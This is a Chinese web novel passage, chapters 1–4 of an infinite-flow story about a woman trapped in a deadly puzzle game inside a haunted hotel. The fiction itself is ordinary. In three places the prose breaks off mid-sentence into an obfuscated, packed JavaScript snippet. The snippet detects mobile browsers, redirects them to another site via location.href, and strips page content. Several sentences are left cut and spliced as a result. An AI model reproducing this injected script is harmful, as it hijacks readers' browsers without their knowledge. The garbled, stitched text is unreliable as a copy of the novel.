《拼图游戏[无限]》 1. 圣母垂泪(一) 一轮皎洁的月亮悬挂在天幕上,照亮错综复杂的小巷。 这里是连路灯都没有的黑暗地带,被现代化遗弃的城中村。 一场激烈的追逐战正在展开,林昭月纵身一跃,跳过前方的垃圾堆,一包反射着光芒的残渣被随意丢弃在路边,吸引她的注意力。 她不顾越来越近的叫骂声,骤然停下脚步,将其拎起来。 这一包有些重。它原本应该是一架全身镜,碎片的大小不一,但无一例外都极为锋利。 林昭月回忆附近的地形,放轻脚步走下一个斜坡。倾斜超过45度的坡道有一处V形转折,与下方形成近两米的高差。她脱下外套,挂在一旁的树枝上,再取出包里的玻璃弹珠撒在边缘。然后,抱着树干快速从高处滑落,将全身镜的碎片竖着插进地面的缝隙里。 “人呢?” “明明是朝这边跑来的,怎么一转眼就消失不见了。” 粗犷的声音从坡上传来,追逐者一共四人。皆是的彪壮的大汉,手里无一不拿着凶/器。为首的男人脸上有一道横贯左眼的刀疤,仅剩的右眼好似铜铃,下令道:“分开找——” 让他们分开就麻烦了。 林昭月大喊一声“救命”,一连串的脚步声奔袭而来。她无需亲眼看见,已经知道接下来会发生什么。 四人奔下陡坡,被夜色迷惑,会将挂在树枝上的黑色棒球衫当作是蹲在地上的她。故而,错误地估算V字转折处的地块大小,哪怕侥幸在“悬崖”前刹住脚步,也会踩中玻璃弹珠摔下来。 “嘭、嘭、嘭”几声巨响之后,一连串的闷哼声自四人口中溢出。 一切正如她所料,结果更是分毫无差,四人皆失去威胁。 林昭月踢开开刃的砍/刀,捡起一根钢管,对准刀疤脸的头,问道:“你是谁?” 血从刀疤脸的后背渗出,染红砖石。凭借经验,他知道自己的肺可能是被扎穿了。这时候,绝对不能动弹。 如果眼前只露出一双眼睛的女人料到这一点,才设下陷阱,那也太过可怕。他心中胆怯,回答道:“道上的人都喊我一声‘疤哥’。” 林昭月问:“你们为什么追我?” 刀疤脸抬起一只手,指向她的挎包,灰色的包上悬挂着一个吊坠,长宽两厘米,是一张拼图碎片。 “有人出高价收这个东西……” 这枚碎片的材质非常特殊,既不是金属也不是塑料,林昭月没有见过和它类似材质的物品。一条金属细链穿过钻出的孔,将碎片串起来。作为装饰物,它足够别致,对于林昭月而言,它还有超出本身价值的纪念意义。 这个小挂件是她唯一的妹妹林沉雪,送给她的27岁生日礼物。 两姐妹幼年失去父母,一同在孤儿院长大,她曾发誓一定要保护好妹妹。然而,妹妹却在她27生日的第二天割腕自/杀,幸好抢救及时,身体并无大碍。 可醒来之后的妹妹像是变成另一个人一般,拒绝和她进行交流。 这件事令林昭月非常悔恨,认为自己对妹妹的关心太少。 这四个人正是在她前往医院的路途中盯上她的。 林昭月见从几人口中问不出拼图的特殊之处,便转身离开。她一路跑出贫民窟,见到脚步匆匆的行人才逐渐放慢脚步。 此时,已是天光大亮。 林昭月面朝朝阳,取下鸭舌帽。 江风吹起她细碎的短发,遮住半张脸的口罩也被扯下来,露出秀丽的面容。 林昭月捂着肚子拉开斜挎包,里面唯一的食物是一根鸡肉肠。她撕开包装,刚把鸡肉肠放进嘴里,就听到带着讨好之意的“喵喵”之声。 一只肥硕的橘猫蹿上石墩,抬起头对着两脚兽撒娇。 林昭月一口咬断半根肠,尚未喘匀气息让她每一次咀嚼都显得颇为费力。 “想吃吗?” “喵喵喵~” 林昭月伸手去摸橘猫,橘猫犹豫两秒没有躲,然后被从头揉到脚。连肚皮都露出来,让人上下其手。 “十橘九胖,你不是例外。” 林昭月说着,把剩下的半根鸡肉肠塞进嘴里,胡乱咀嚼几下吞进腹中。 橘猫:“……喵?” 林昭月直起腰,摸向斜跨的布包。橘猫的叫声再一次变得甜腻,可林昭月并没有拿出第二根鸡肉肠,而是拽下一块3cm左右的拼图碎片。举到空中,对准初升的太阳进行观察。 这枚碎片刚到她手里的时候,其实是白色,那时也不透光。随着时间一天天推移,碎片的颜色已经趋近墨黑,色泽还在以肉眼可见速度变得浓郁。 “我没吃的了,而且你该减肥了。” 猫咪凄厉大叫起来。 这就是你白嫖的理由吗? 林昭月劝道:“太胖影响健康。” 话音未落,她手中的拼图碎片以肉眼可见的速度融化,穿透掌心,滴落在地上。夯实的地面荡起波纹,失重感让林昭月一个趔趄,她下意识伸出手,徒劳地想要抓住什么,但地面已经虚化,她什么也没有抓住。 身体因惯性后跌,仰面向下倒去。砸进地底,坠落无底深渊。 林昭月做出类似飞翔的动作,无师自通地模仿着跳伞的基础姿势。这让她保持住身体的平衡,不至于在空中翻滚和旋转。 周围什么都没有,流淌的黑色像是晕染开的水墨,不知从哪里来的光源,让她可以看到自己的躯体。 林昭月感觉没有下落多久,在她刚适应这种状态时,下方便已出现八个立体的大字——欢迎来到拼图游戏。 每个字都金光闪烁,距离越近体积越大。 林昭月双手护住头部,她就要撞上文字了。 预想中的疼痛并没有到来,她竟以血肉之躯撞开两个字符,轻易从中间穿过。巨大的字符柔软得好似羽毛,没有给她带来任何伤害。 林昭月没有来得及回头去看,下方又有新的事物出现。那是一幅画,和立体的字符不同的在于它是一张平面图,图中一名身材婀娜的女人坐在梳妆镜前,抬起两条胳膊编辫子,背对身后的草坪、泳池和红顶白墙的建筑物。她身上穿着一件旗袍,手腕上戴着一个颇具年代感的银镯子。 诡异的是梳妆镜并没有照出女人的身影,林昭月也就无从得知她的面容,随着下落过程中,逐渐靠近女人。对方衣服的花纹、皮肤的颜色、耳后的红斑和黑发卷曲的弧度都变得清晰无比,她好像听到一声声孩童的呼唤。 清脆稚嫩。 “妈妈。” “妈妈、妈妈。” 孩子们在喊妈妈。 先有立体字符在前,林昭月撞进平面画时并没有惊慌。她以为自己会破画而出,将平面画扎出一个洞,岂料身体触碰到画的一瞬间,画中传来一股巨大的吸力,将她整个人吸入其中。 画中世界是一团团氤氲的色彩,杂乱无章,风暴肆虐。她像是一件破衣服被丢进高速运作的洗衣机,又如同海上小船遇上狂风骤雨。总之是天旋地转,恶心欲呕,她一时分不清左右上下,承受力到达极限,眼前骤然一黑。 不知过去多久,林昭月在强烈的眩晕感中缓缓苏醒,双眼像是被涂满胶水一样,睁开时竟有些微的撕扯感。短暂适应过分强烈的光线之后,她逐渐看清周围的事物。 她坐在草坪上,旁边是喷泉雕塑。一尊手持宝瓶,怀抱婴孩的仙女立在莲花宝座中,饱经风霜的脸上漆面剥落,像是两道泪痕。水流从宝瓶里喷洒而出,落在“阳光度假酒店”的招牌上。 道路两旁的棕榈树笔直高大,如同卫士手持利刃,正在夹道欢迎宾客。 这儿是酒店的迎宾大道。 林昭月视线回移,落在周围的人身上。这些人里有男有女,唯一站着的男人最引人瞩目。他三十五岁上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩东拨开眼镜青年的手,似乎对他的激动反应习以为常,丝毫不受影响的继续道:“身处拼图游戏中,可以查看个人信息。分不清现实和游戏的时候,你可以说——打开个人面板。不要觉得羞耻,大声喊出来效果更好。等你们熟悉之后,心里默念也能唤出它。” 眼镜男人不信邪,大喊一声“打开个人面板”。然后,像是被突然冒出来的什么东西吓了一跳,忍不住后退两步。接着,他凝神看向前方,眼珠左右移动,像是仔细阅读文字。 明明他面前什么都没有,至少林昭月什么都看不到。 看来“个人面板”仅对自己可见,具备一定的隐私性。察觉到这一点,林昭月放心下来,像其他人一样呼唤出声。 她的眼前凭空凝聚大大小小的光点,组合成一个虚拟面板—— 角色:林昭月 种族:人类 力量:10(你身体健康,肢体反应速度远超同龄人) 智力:23(你很聪明) 体力:12/100(你现在饥肠辘辘,急需补充食物) 幸运值:5 天赋技能:心契。描述(残缺):你可以选定一名心动对象,进行体/液交换,达成契约,增加法力属性,并获得法力值5点。契约时效,一个游戏副本。契约期间,心动对象死亡,天赋永久冻结。 韩东问:“你们有天赋技能吗?” 林昭月扶着的姑娘摇头,长发男人说:“我的这一栏显示‘无’。” “你们不要再装了!啊——” 眼镜青年大喊一声,他情绪已经彻底崩溃。 “区区全息投影技术,以为就能骗过我吗?这该死的日子什么时候是个头!倒霉,倒霉死了。现在连狗屁倒灶的恶作剧都缠上来了!我现在就要离开这里,”他对韩东说:“你敢拦我的话,别怪我不客气。” 韩东毫无阻拦的意思,伸手做请的姿势,说道:“你随意。” 眼镜青年转身离开,越走越远。 韩东看着他的背影,就像看到一个走到悬崖边缘还不自觉的瞎子,面露不忍之色,叹息一声开口说:“看在有缘相聚的份上,我有一句忠告给你。彻底死亡之前,往回走也许还有一线生机。” 2. 圣母垂泪(二) “我叫林小满,刚高三毕业,九月份会成为大一学生。” 眼镜青年走后,韩东带头朝着酒店走去。路上,让剩下的几人做自我介绍。林昭月身边的姑娘还是学生,属于一行人里服从性比较高的。她最先“开口”,手写板发出清脆的少女音,但并非真人的声音,始终有种非人感。 “我是言语障碍人士,不能发出声音,但有手写板的帮助,我和大家的沟通不会有问题。” 柔和的阳光照在林小满的身上,令附在她身躯上的乳白色光晕更加凝实。从初见林小满起,她在林昭月的视角中就是没有翅膀的天使,散发的光芒说是圣光也不为过。 其他人却完全没有察觉异常,连自称资深玩家的韩东也不觉得林小满特殊。 显然,这光芒只有林昭月一人可以看到,和她的天赋技能有关。 林小满是她的“心动对象”,可以达成心契之人。另外七人则毫无特殊之处,她没对他们心动。 林昭月已有所明悟,天赋描述中虽称“你可以选定一名心动对象”,但心动不心动的,其实判断者并非她本人,而是由技能进行认定。 这意味着,一个游戏副本中很可能只有一个选项,最极端的情况是一个心动对象都没有。 现在能有一个,就必须珍惜。 “我也姓林,”林昭月笑着说:“我们同一个姓氏……嘶。” 她说话的时候牵动嘴角的伤口,林小满连忙关切书写:“你没事吧?我包里有药。”说着,便要把双肩包取下来。 她的动作被一声尖叫打断,众人齐齐向后方看去。原来是坠在末尾的一个姑娘发出的声音,她指着喷泉池颤声说:“那里……那里有一张脸……” 韩东往回走两步,但没有靠近喷泉池,安抚道:“别紧张,慢慢说。” “我在池底看到一张死人的脸。” 一名身材高大的男人推开她,走上前一看。喷泉池中的水清澈无比,池底铺满白色的鹅卵石,并不见人脸。 “你看错了。” 有他在前面,姑娘大着胆子凑过去,那张脸已经不见了。她赌咒发誓自己绝没有看错,但刚才太害怕其实也没看清楚那张脸长什么模样。这时涨得一张脸通红,急切地喃喃道有鬼。 韩东淡淡道:“我相信你。” 身材高大的男人眉头蹙起,“你的意思是这里真的有那些东西?” 韩东没有回答,抽出一支烟递给他,“兄弟贵姓?” “免贵姓陈,单名一个默字。沉默的默。” “兄弟会些拳脚吧?” 陈默一笑,接过烟:“会一点儿,我是一名职业拳手。” 韩东拿出打火机,给两人点燃烟,吐出一口白色的烟圈,绷着一张面皮说:“这里不仅有那些东西,它们还会攻击人类。” 陈默相不相信不好说,刚才看到喷泉池内有异常的姑娘却是三观已在重组。她名叫高庆晴,22岁,目前在一家工厂干零件装配的工作。 另一位女士刘悦岁数稍大,约莫40岁。性情颇为沉稳,寡言少语,一直在默默观察着一切。 最后自我介绍的两名男士,其中一人值得称道的是英俊的相貌、矜贵的气场,年纪轻轻似乎已经在社会上拥有一定的地位。衣冠楚楚,像是在参加晚会的路上被直接虏过来的。他叫南黎川,南星集团副总裁。 林昭月四处打零工,没在正经公司上过班,却也知道南星集团的大名。哪家完全没有他家生产的电器,那才是一件奇怪的事情。 “南震天是我爸,我很有钱。” 最后一人长发束在脑后,从骨子里往外溢出艺术细胞,他自称是画家,只要给他一个安静的环境,可以把之前匆匆一瞥的图纸绘制出来。 没有被钱财打动的韩东,态度出现明显的变化。 “我尽快给你找地方,现在先进去。” 一行人已经来到酒店的大门,踩着脏污的地毯走进大堂。巨大的吊灯高度近六米,上面布满蜘蛛网,一只足有五厘米长的蜘蛛正爬向落网的飞蛾。 前台有三名工作人员,两女一男,穿着统一的米色制服。听到脚步声,他们动作整齐划一地转过头,露出弧度统一的微笑,说道:“欢迎光临。” 林昭月脖颈发凉,工作人员空茫的眼神她从没在活人身上看到过。 一行人走近,三名工作人员齐声说道:“客人,报姓名办理入住手续。” 韩东报出自己的姓名,给他办理手续的工作人员说:“一间房住两位客人。” 林昭月问给自己办手续的工作人员:“我们可以全部住在一间房里吗?我们不嫌挤。” 工作人员说:“一间房住两名客人。” 她没有立刻放弃,又问:“女士们能同住一间房吗?” 工作人员像是一台复读机,还是那句话。 “一间房住两名客人。” 看来不行,林昭月说:“我和林小满住一间房。”工作人员把房卡递给她,她才笑眯眯问林小满:“可以吗?小满。” “可以。我都行。” 林小满不太擅长拒绝别人,被擅自决定也没觉得心里不舒服,甚至是有一点感激林昭月的。毕竟,这种地方能有人愿意和她住在一起,已经是在照顾她了。 房间分配好,男性工作人员从前台走出来,咧嘴露出后槽牙:“请跟我来。” 一行人跟上他,前台左转便是电梯,刷卡来到4楼。酒店的整体风格偏现代简约,公共区域多用木质材料,暖色调的大面积应用,让走廊本该宽敞、明亮、通透,但厚重的窗帘一遮,阳光根本照不进来。 呛鼻的古怪气味萦绕在鼻尖,木头比起金属更容易朽烂,林昭月的目光扫过墙根。那里墙面鼓泡,剥落的乳胶漆下是一层层的霉斑。 4楼竟然如此潮湿? 林昭月进门的时候,发现墙角长着蘑菇就一点都不觉得奇怪了。 那蘑菇像一把把没有完全撑开的扇,长白杆,菌盖有手掌大小,质地和人类的皮肤相似,上面长着一颗颗水泡一样的疙瘩,内里的液体昏黄浑浊。 林昭月问:“你包里有药,那有手套没有?” 林小满摇头,手写板发出声音:“没有医用手套,我手掌受伤所以包里刚好放着一些伤药。”她想起什么似的,把包取下来丢到床上,打开寻找一番,找出一次性的PE手套。 “这是吃外卖剩下的,能用吗?” 林昭月撕开,戴在手上:“可以。”然后,拿起桌上的“客房菜单”,一张裹塑的硬纸板。它勉强可以用来铲蘑菇,蘑菇很快被清理掉,唯有最后一株长的位置刁钻,被她从中间弄断。菌盖掉在地板上,吐出一大包浑浊昏黄的水,足有小半瓶矿泉水的量。 “小小的蘑菇里竟然有这么多水?” 林小满觉得不可思议,忍着恶心戴上手套,和林昭月一起把蘑菇丢进垃圾桶。不一会儿,垃圾桶就装满了。 两人打开玻璃门,取出装满蘑菇的垃圾袋,从阳台丢出去。 阳台正对北面,也是酒店主楼的后方。林昭月在电梯里仔细看过楼层索引,知道自己看到的是负一楼,中庭景观所在。 正下方摆着几排餐桌,支着遮阳伞。隔着一块并不算大的草坪,则是泳池。池水浑浊发绿,底部沉淀着藻类,水面漂浮枯枝落叶。似乎已经很久没有清理过,更别提换水。 大大小小的池子一共十二个,水系全部是连通的,道路则靠小拱桥连接在一起。周边是几排低矮的房屋,风格和主楼一致。园林精致,但面积并不大,临靠着一条柏油马路,路上并无一辆行驶的汽车,更无行人的踪影。 林昭月走到阳台的一角,双手把下方的景色框起来。 泳池、草坪、餐厅,除角度不同之外,和图纸正好对应。 韩东从房间里走到阳台,看到林昭月,对她略一颔首,正要说话。两人皆听到一声巨响,像是什么重物被推倒了。 “救命——” 凄厉的呼喊声让人心惊肉跳。 林昭月回身跑向走廊,她和林小满分到的房间是401,隔壁402住的是韩东和画家。陈默从403房间里跑出来,冲进404。 林昭月比他慢一步,抬脚从倒在门口的高庆晴身上越过。只见领他们上楼的前台工作人员背对房门,跪在床上。上半身压着刘悦,头部剧烈晃动着。 刘悦两条腿乱蹬,手里握着一支发钗,刺进工作人员的手臂里。 陈默眉头一皱,以为遇到猥亵的变态。双手不客气地抓向工作人员的肩膀,想把人扯开。怎料手下的布料湿滑,如同海洋软体动物的皮肤,根本抓不牢。 林昭月一进门就觉得不对,她在纯白的床上瞥见一抹刺眼的红色。绕到前方一看,只见工作人员森白的牙齿嵌进刘悦肩膀里,吞咽不及的鲜血从嘴角潺潺流出,弄湿大片被褥。 刘悦已是面色青紫,眼球凸起,张大的嘴巴里掉出来一截绷直的舌头,喉咙里发出短促的声音—— “救我!” 林昭月抄起桌上的烧水壶,砸向对方。 工作人员的脑袋向左歪倒,却没有松嘴。她当即改变击打部位,用水壶的尖嘴,叩击一侧太阳穴。寻常人被击中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438123|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说昏倒,至少也会短暂失去支配身体的能力。然而,工作人员却只是身体晃动两下,并没有受到太大影响。 这时,刘悦抓着簪子的手已经无力的掉下来,情况岌岌可危。 林昭月拔出簪子,瞳孔微微一缩。簪子扎得很深,伤口流出大量的液体。可那不是鲜血,而是浑浊昏黄的水,和古怪蘑菇流出的液体非常相似。她心下惊疑,动作却没有迟疑,对着工作人员的面颊猛地一刺。 第一刺偏移些许,实在是工作人员衣物滑腻,皮肤更是异常柔韧。第二下又准又稳,穿透肌理,卡进喉舌之间。 工作人员被迫张开嘴,林昭月借力一推,把他捋到地上。扯过被子一角,捂住刘悦锁骨上方的血窟窿。那里的肉被咬掉了一块,鲜血正潺潺涌出。她怀疑这里有没有医生,更有可能连止血缝合的药物都找不到。 刘悦重新获得呼吸的能力,剧烈咳嗽起来,身躯蜷缩成一团。床上不仅血迹斑斑还有不知从哪来的水,在被子上留下一个人形的轮廓。 林昭月询问:“怎么回事?” 工作人员忽然发疯,应该是有原因的。 刘悦勉强发出声音:“我让他清理蘑菇……他碰到蘑菇,接着就发疯了……咳咳咳。” 说话间,工作人员已经从地上爬起来,咆哮一声,露出尖利错乱的牙齿,殷红的口腔内血迹斑斑。如同一头饥饿的野兽,朝着距他最近的陈默扑去。 眼见躲避无用,陈默一记顶心肘挥出,工作人员被打得退后两步,却像是感觉不到疼痛一样,刚站稳又急冲上来,伸颈咬人。 陈默连挥数拳,速度又急又快,然而每一拳都像是打在沙袋上,还是包裹乳胶材质,表面涂满黏液的沙袋。他短短时间内挥出一百多拳,工作人员却还能扑过来。好像不知疼痛一般,身体的耐受能力强到异常。 陈默一脚踹开对方,喘息道:“他……他真的是人类吗?” 地板上汇聚出一层薄薄的水泊,林昭月注意到水是从工作人员身上流下来的。 外面传来“咚咚咚”的脚步声,在空旷的走廊里回响。韩东探头一看,朝404走过来的是一名推着清扫车的工作人员。他应该是清洁工,身高超过两米,身躯几乎把整个通道都堵住了。 这让他移动缓慢,相应的是他每走一步,地板都会发生震动。 如前台工作人员一般,这名清洁工同样双目空洞且无神。清洁车上物品在车子前行时发出碰撞声,也难以掩盖他口中发出的呢喃。 “酒店内禁止斗殴。” 他的声音堪比家用音箱的最大档,还有一段距离的情况下,都能让人脑袋嗡嗡作响。 必须立刻让前台工作人员安静下来! 韩东关门上锁,喊道:“陈哥,你能控制他几秒吗?” 陈默应道:“我尽力一试。” 他从后方锁住前台工作人员,用的是一个拳击中非常常见的锁住敌人的方式,为避免被咬伤,他是从背后将双臂的作用发挥到极致,少有人能在他体力告罄之前挣脱。别说几秒,哪怕锁敌十秒钟,他也很有把握。 然而,意想不到的情况出现。清洁工竟如软体动物一样,从他双臂间滑走,扑向林小满。 林昭月见状,拉着林小满跑向阳台上,带倒一把三条腿的破烂靠背椅。椅子是不锈钢材质的,重量很轻,摔在地上时三条腿全部朝天,横在推拉门中间。 工作人员冲得太快,阳台又极为狭窄。一绊之下,向前扑去。腹部撞上栏杆,脚轻身重,重心不稳,翻身自四楼坠下。 “嘭”一声响,工作人员落地,清洁工踹开房门。两声合并在一块,响亮得让人脑中嗡鸣一片。 清洁工臃肿庞大的身躯堵住房门,弯腰把头伸进房间里,一双死气沉沉的眼睛看向众人:“你们刚才在干什么?动静这么大。” 众人下意识看向林昭月,连韩东也不例外。 一切发生得太快了,他还没回过神来。 如果前台工作人员的坠楼是意外,为什么林昭月的神情会如此平静呢? 清洁工也看向林昭月。 林昭月一脸严肃地说:“打扑克。” 清洁工比前台工作人员难缠,他追问道:“扑克牌呢?” 林昭月暧昧一笑,轻拍巴掌。 啪、啪、啪。 清洁工木然的脸抽搐数下,不依不饶道:“那也不可能……” 林昭月说:“房间里一共有七个人。大家一起打扑克,弄出什么动静都不奇怪。” 清洁工:“……” 有理有据,他被说服了。 3. 圣母垂泪(三) 清洁工转身离开,笨重的身体像一个球。挤着狭窄的走廊缓慢滚过,推着的清洁车摇晃,物品发出叮叮咚咚的响声。 林昭月探出栏杆往下看,前台工作人员像是一只破裂的水球,干瘪的衣服包裹着骨骼,地上有着大片喷射状的水渍。那是一具身体里全部的液/体,甚至形成几个小水洼。 原来,这些东西可以被杀死啊。 她心中的不安消失殆尽。 只要人力可及,就无需害怕。 她转过身,问道:“韩先生,碎片该去哪里找?” “它们应该在楼下,我们边走边说。” 韩东对林昭月的态度变化颇大,先前他觉得新人里能在关键时刻派上用场的只有陈默,现在却更看重林昭月,她的应变能力之强,不像一个新人。 韩东往外走,一行人跟上。 这时,床上的刘悦带着哭腔喊道:“别、别丢下我一个人……” 韩东无动于衷,剩下的人脸上或多或少都有挣扎之色,但没有人应声。刘悦见状,挣扎着爬起来,忍耐着脖颈的疼痛,冲着林昭月喊道:“林小姐……” 对方救过她一次,不会对她置之不理的。 林昭月脚步不停,打断她的话:“你不是一个人。” 刘悦一愣,林昭月指着被搬到靠墙的位置昏睡的高庆晴,说道:“她在这儿陪着你。” 刘悦:“……” 前台工作人员忽然发疯,高庆晴连一声呼救都来不及发出来,就撞在墙上晕过去了。她醒着其实也带不来安全感,更别提昏睡不醒。 已经跟着林昭月一起走出门的林小满,忽然停下脚步,从背包里取出伤药,放在床边。 刘悦正要开口挽留,林小满已经像一阵风般刮出门,把门也带上了。 一行人路过隔壁,韩东刷卡打开402的门。画家背对众人,手里握着铅笔匀速晃动着。他听到声响浑身一颤,转头看到韩东,紧张的神情一松,举起纸张说:“图纸我复刻出来了。” 韩东一偏头说:“走吧。” 他接过画家手里的素描纸,和真正的图纸相比,复刻出的黑白图纸有一定的差别,但图的比例是大致相同的。 路过前台工作人员的时候,林昭月捡起那支发簪。 韩东把素描放在负一楼外摆的餐桌上,用手指在上面一横一竖画着十字说:“拼图游戏没有单人模式,已知的多人模式有9人、12人、30人的差别,分别对应着不同的碎片数量。比如,四拼拼图标配是9名玩家。” 画家还记得韩东说过,想要回归现实,必须找到全部碎片。他喃喃道:“也就是说,我们得找到4张碎片……可是酒店这么大,我们一寸一寸的搜索吗?” 那要何年何月才能找得到? “那倒不用,碎片藏匿的位置可以通过图纸获得。所以我说,图纸很重要。” 画家满脸迷茫。 “韩哥,我没听懂,你能说得简单明了一点吗?” “拼图大小一致,图和实物相互对应。” 韩东举例解释:“你们看左上角这一片,占据最大幅面积的是绿茵茵的草坪。我可以确定,这一张碎片就在草地里。不排除它被埋在土层中,但绝不会埋得太深。” 林昭月指向右上角的建筑,那是酒店的餐厅。她问道:“第二张碎片藏在餐厅里,对吗?” 韩东点头。 以此类推,第三张碎片可以在泳池里找到。 可是第四张碎片很特殊,里面有一个大活人。素描中展示房间一角,身材婀娜的女人端坐镜前,正在梳妆。 对应的房间不难寻找,可拼图是否在女人身上呢? 寻找一个不知面容的大活人可就困难多了。 林昭月问出心中所想,韩东露出讶异的神色,似乎没料到她竟如此善于思考。 “这一张碎片情况比较复杂……” 他的话被一串脚步声打断。 柏油马路上冲进来一个眼熟的男人,他的皮肤像干涸的河床,布满了粗糙的纹理,呈现出一种不健康的暗红色。嘴唇干裂起皮,一道道血口子肆意张开。本来黯淡的目光在看到泳池的那一刻猛地亮起,喉咙里溢出一声嘶吼:“水,水,我要水。” 说着,整个人趴在泳池边缘,双手捧起池水,顾不上池水的浑浊脏污,迫不及待灌进口中。 南黎川颇有几分辨人的本领,他说:“好像是方框眼镜……” 一开始就选择离开酒店的第九人? 林昭月走近对方,渐渐从衣物辨认出他来。短短时间内是什么让一个青年苍老十岁不止,衣物更是犹如晒干的咸菜,皱巴巴挂在身上,布满白色晶斑。架在鼻梁上的眼镜,亦不知到哪去了。 韩东揪着他的衣服,把第九人扯起来。 “水,我要喝水。” 青年魔怔一般,再度向着泳池扑去。 林昭月对着他脑门一拍,“清醒一点。” 青年痛得哀叫一声,颅内震动之下,终于回过神来。目光扫过众人,最后落在韩东身上,怒道:“外面是高温地狱,你为什么不告诉我?” “原来外面温度很高,”韩东抬起头看向天上的太阳。这轮太阳圆而大,金灿灿如油饼。照理来说,没有佩戴眼部的防护设备,人类难以直视它。可韩东觉得一点都不刺眼,仿佛有人在酒店的上空蒙上了一层薄纱。 酒店以外,显然温度并不如内部适宜人类活动。 “我只知道,贸然在游戏地图以外活动,不会有好下场。你还算运气好的,我遇到的上一个妄想通过逃离地图而回归现实世界的傻瓜,刚踏出地图没几分钟,一堆残肢便出现在地图边缘。要不是通过他的随身物品,甚至都难以辨认他的身份。” 林昭月问青年外面是什么样子,青年勉强能描述出外面是酒店群,但他很快就被炎热的天气给弄得汗流浃背,幸好还记得韩东的忠告,见势不对往回走。否则,肯定会因为脱水死在路上。 等林昭月放开他,他再一次扑向泳池。其实,他的肚子已经被水灌得向外凸起来,恐怕走几步肚中就要晃荡,再喝也喝不下多少了。可没有体验过极端缺水的困境之人,体会不到他对水的渴望。 从高处看浑浊不堪的水池,近距离观察却尚算清亮。毕竟藻类全部依附池壁生长,污垢也沉淀在最下方,林昭月竟可以勉强看清池底的状况。她发现这一点,便绕着泳池边缘行走起来,没准儿在泳池里找到拼图碎片比一寸寸搜索草坪更快。 她视力极佳,很快发现一块巴掌大小的不规则物品,有很大可能就是拼图碎片。 韩东被她叫过来,蹲下来看一会儿说:“应该是碎片没错了。” 林小满双手伸进池子,尝试着捞了一下,自然不可能碰到池底。刚才林昭月已经留意到,这个池子是深水池,标注的水深是1.8米。 韩东站起来,到旁边寻找长杆网捞它。这里不乏会水的人,但现在谁也不想下水,林昭月也一样。她盯着水里的碎片,竟发现碎片的周围缓缓荡起一圈涟漪。大团黑白相间的水草从旁边飘过来,根根纤细,自由的舒展着,但根系又凝聚在一起。 哪有这样的水草? 这分明是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林小满左臂在颤抖,伸出裹着纱布的左手,艰难书写:“里面好像有什么东西在动……” 她在来到这个世界的前一天,掌心被锐器刮伤。伤口又长又深,整整缝合七针才止住血,所以她随身的背包里才正好放着伤药。本来不用力已经感觉不到疼痛的掌心,就在刚才传来一阵阵痒意,绷带更是鼓起一个个包块,缓慢地蠕动着。 林小满没有勇气去打开它。 林昭月解开绷带,扯掉沾满血和药品的纱布块。只见林小满掌心的伤口向外翻开,铁线虫一样的黑色头发正在往里面钻,要不是手术线足够坚韧,尚未断裂,发丝已经撕开伤口。 林昭月取出挎包里的弹簧刀,想要挑出发丝。谁想发丝柔韧滑软,割不断、挑不出,反倒是林小满痛得脸色煞白。 她回忆刚才林小满的动作,包着纱布的左手有沾到泳池的水。可画家和陈默都有碰触泳池的水,眼镜男更是直接饮用池水。现在全都好好的,并无异常。 什么只有林小满一人受难? 伤口? 还是血? 林昭月想到一举两得之法,她将刀刃对准掌心,划出一道伤口,鲜血涌出来。 林小满满脸惊色,慌忙比划。 林昭月看不懂手语,但也能猜出她在说什么。她一定是在问,“你在干什么?” 林昭月没有解释,将鲜血洒在林小满的手心里。黑色的发丝像是嗅到肉味的小狗,向外游走几厘米。 体/液的交换已经完成一半。 达成契约只剩下最后一步,林昭月和林小满十指相扣,两道伤口内流出的血相互交融。蠕动的发丝瞬间失去活性,自手掌的缝隙里滑落。还没有掉到地上,已经泯灭为一缕黑烟,连一撮齑粉也未剩下。 韩东看到这一幕,眼睛骤然睁大:“你的血对那些东西有杀灭作用……”他不敢置信地盯着林昭月,讶异地道:“这是你的天赋吗?你一个新人,竟然能觉醒天赋?” 4. 圣母垂泪(四) “我还以为,每个人都有天赋技能。” “一百个玩家里,有天赋技能的至多不超过一个巴掌的数量。刚进游戏就觉醒天赋的玩家,必定是天赋极高之人。这意味着,你的天赋很厉害,在副本里可以派上很大的用场。” “我记得,韩哥先前问过我们有没有天赋?” “我那不是有枣无枣打一竿子吗?梦想总是要用的。” 韩东一脸高兴,发自内心地大笑:“你看,这不就实现了吗?” 林昭月问出自己想知道的,便无心理会韩东。她从林小满的包里取出绷带,包扎两人手上的伤口。 南黎川追问道:“现在没有天赋,以后还有机会觉醒吗?” 他天赋一栏,同样显示为“无”。 韩东点头。 “按我的理解,没有绝对无天赋技能的玩家,但什么时候觉醒天赋就不一定了。” 南黎川问:“那怎么样才能觉醒天赋技能呢?总不能漫无目的等着它觉醒吧。” “我不知道,”韩东捡起长杆网,语气略显冷淡地说:“比起奢求虚无缥缈的天赋,快点寻找到全部的碎片才是正经事。在这里待得越久,可就越危险。” 一网捞到底,网内只有绿油油的藻类。水被搅浑,一时看不到碎片的位置,韩东依照印象中的位置捞上几网,并无收获。 南黎川说:“既然这是个游戏,那不小心死掉应该可以复活吧。” 韩东怜悯地看着他,毫不留情地戳破幻想。 “生命只有一次。副总裁,你应该比普通人更明白这个道理,毕竟有钱人的命更贵重。” 他们说话的时候,林昭月已经再一次唤出“个人面板”。 暗绿色的光点凭空出现,凝聚成一个虚拟面板。此时此刻,她特别有自己身处一个游戏中的实感。 只不过,一般的游戏人物死亡可以复活。 角色:林昭月 